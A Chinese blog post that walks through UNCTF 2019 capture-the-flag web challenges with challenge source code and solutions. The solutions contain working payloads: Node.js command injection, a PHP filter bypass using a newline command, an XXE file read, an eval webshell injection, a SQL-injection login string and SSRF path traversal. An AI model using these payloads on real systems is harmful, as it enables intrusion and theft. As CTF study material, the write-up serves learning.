江鸟's Blog

UNCTF的赛后复现

字数统计: 1.4k阅读时长: 7 min
2019/11/12 Share

学到了很多新的东西,学习学习

UNCTF安恒复现

checkin

新生赛很简单 直接/flag

真正的题目是nojs远程命令执行,参考:https://m.jb51.net/article/91411.htm

尝试

1
2
3
4
5
6
7
8
/calc 1+1                2 可以计算,存在命令执行
/calc require('child_process').exec('cat+/flag') 返回[object Object]
/calc require('child_process').exec('cat+/flag').toString() 同上
/calc require('child_process').execSync('cat+/flag').toString() undefined
可能是字符被拦截了
那就用$IFS替代
/calc require('child_process').execSync('cat$IFS/flag').toString()
flag get

bypass

源码

php的正则有点小漏洞,两个斜杠丢进php只剩一个斜杠了,然后这个斜杠丢进正则就用来转义了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
$b = $_GET['b'];
// try bypass it
if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
$a = "";
$a ='"' . $a . '"';
if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
$b = "";
$b = '"' . $b . '"';
$cmd = "file $a $b";
str_replace(" ","","$cmd");
system($cmd);
?>

由于这个小漏洞,a被过滤了|而不是,b被过滤了|\n,而不是被过滤了\n

Payload:a=\&b=%0aca\t%20/va?/???/htm?/.F1jh_/h3R3_1S_your_F1A9.txt%0a

flag 位置需要再寻找,但是到这一步问题已经不大

Do you like xml?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
xml 注入

POST /doLogin.php HTTP/1.1
Host: 112.74.37.15:8008
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Accept: text/html,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 193
Content-Type: application/xml
X-Requested-With: XMLHttpRequest
X-Forwarded-For: 127.0.0.1

<?xml version ="1.0"?>

<!DOCTYPE a[<!ENTITY xxe SYSTEM
"php://filter/read=convert.base64-encode/resource=flag.php"> ]>
<user><username>&xxe;</username><password>admin</password></user>

我也不知道为什么要xff

simple_web

  1. 根据提示后,考虑存在robots.txt文件

  2. 访问robots.txt出现一下内容

  3. if (isset($_GET['reset'])) {
            exec('/bin/rm -rf ' .$sandbox);
            echo "your sandbox has been reset";
        } else {
            $sandbox = './sandbox/' . md5("chris" . $_SERVER['REMOTE_ADDR']);
            @mkdir($sandbox);
            @chdir($sandbox);
            echo "your sandbox is ".$sandbox."/";
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13



    4. 继续访问getsandbox.php,得到一下内容.

    ```php
    <?php
    $str = addslashes($_GET['content']);
    $file = file_get_contents('content.php');
    $file = preg_replace('|\$content=\'.*\';|', "\$content='$str';", $file);
    file_put_contents('content.php', $file);
    highlight_file(__FILE__);
    ?>

Payload:?content=aaa\';\@eval($_POST[x]);;//,复现不成功,之后再测。

K&K战队的老家

万能密码登陆 '||1||'

伪协议读取http://183.129.189.60:10046/home.php?m=phP://filter/read=string.rot13/resource=home

解出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

<?php
error_reporting(0);
include "./inc/config.php";
$mothed = $_GET["m"] ? $_GET["m"] : "index";
$cookie = $_COOKIE["identy"];

if($mothed == "login") {

$username = $_POST["user"];
$userpass = $_POST["pw"];
if($username == "" || $userpass == "") {
die('<script>alert("Account or password cannot be empty");window.location.href="./index.php";</script>');
}
waf($username);
waf($userpass);
$db->user_check($username, $userpass, $session);

}
elseif($mothed == "index") {
check($cookie, $db, $session);
echo_index();
}
elseif($mothed == "logout") {
check($cookie, $db, $session);
setcookie("identy","");
die('<script>alert("Goodbye");window.location.href="./index.php";</script>');
}
else {
mothed_waf($mothed);
$page = $mothed . ".php";
include($page);
check($cookie, $db, $session);
$d = new debug($session, $d);
$d->vt($session, $d);
$d->debug($session);
}
?>

simple_upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
highlight_file(__FILE__);
@mkdir("./upload");

if (isset($_POST['submit'])) {
$is_upload = false;
$text = null;
if(!empty($_FILES['upload_file'])){
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$text = "type forbidden";
}else{
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
$temp_name = $_FILES['upload_file']['tmp_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$text = "ext forbidden";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$img_path = "./upload" . '/' .$file_name;
if (mb_strpos(file_get_contents($_FILES['upload_file']['tmp_name']), "<?") !== FALSE) {
$text = "hacker";
}else{
if(file_exists($img_path)){
$text = "file exist already";
}else{
if (move_uploaded_file($temp_name, $img_path)) {
$text = "upload succeed";
$is_upload = true;
} else {
$text = "upload failed";
}
}
}
}
}
}else{
$text = "please upload your file";
}

}
?>

<form enctype="multipart/form-data" method="post">
<p>upload your img<p>
<input class="input_file" type="file" name="upload_file"/>
<p>the name you want to save:<p>
<input class="input_text" type="text" name="save_name" value="myimg.jpg" /><br/>
<input class="button" type="submit" name="submit" value="upload"/>
</form>

<?php
if($text != null){
echo $text;
}
?>
<?php
if($is_upload){
echo "your file store in ".$img_path;
}
?>

Arbi

->出题人笔记

注册登陆,发现派大星,查看图片是ssrf

但是如果更换src参数会提示,”Evil request!”
这个其实试一试就很容易猜到,这个路由的后端代码会匹配请求的url和用户名是否对应,在后面给的hint也可以得到这个结果

然后其实服务器的9000端口开了个SimpleHTTPServer,(题目描述)hint也讲的很清楚
如果直接访问/upload/evoA.jpg 也可以访问到图片,所以可以推断出,SimpleHTTPServer的根目录很可能在web根目录下,由于express的路由无法直接访问源代码文件,但是因为SimpleHTTPServer的原因,我们可以通过这个端口直接获取源码文件

这里就是第一个考点,虽然我们不知道node的入口文件是什么(大部分可能是app.js或者main.js,但此题不是)
node应用默认存在package.json,我们可以通过读取这个文件获取入口文件,由于上面说了ssrf接口会判断用户名是否匹配请求的url,所以我们可以注册一个恶意的用户名,”../package.json?”
这里?刚好把后面的.jpg给截断了,登录以后已经没有派大星了(图片内容是package.json的内容)

直接搞这个有源码../routers/index.js?

CATALOG
  1. 1. UNCTF安恒复现
    1. 1.1. checkin
    2. 1.2. bypass
    3. 1.3. Do you like xml?
    4. 1.4. simple_web
    5. 1.5. K&K战队的老家
    6. 1.6. simple_upload
    7. 1.7. Arbi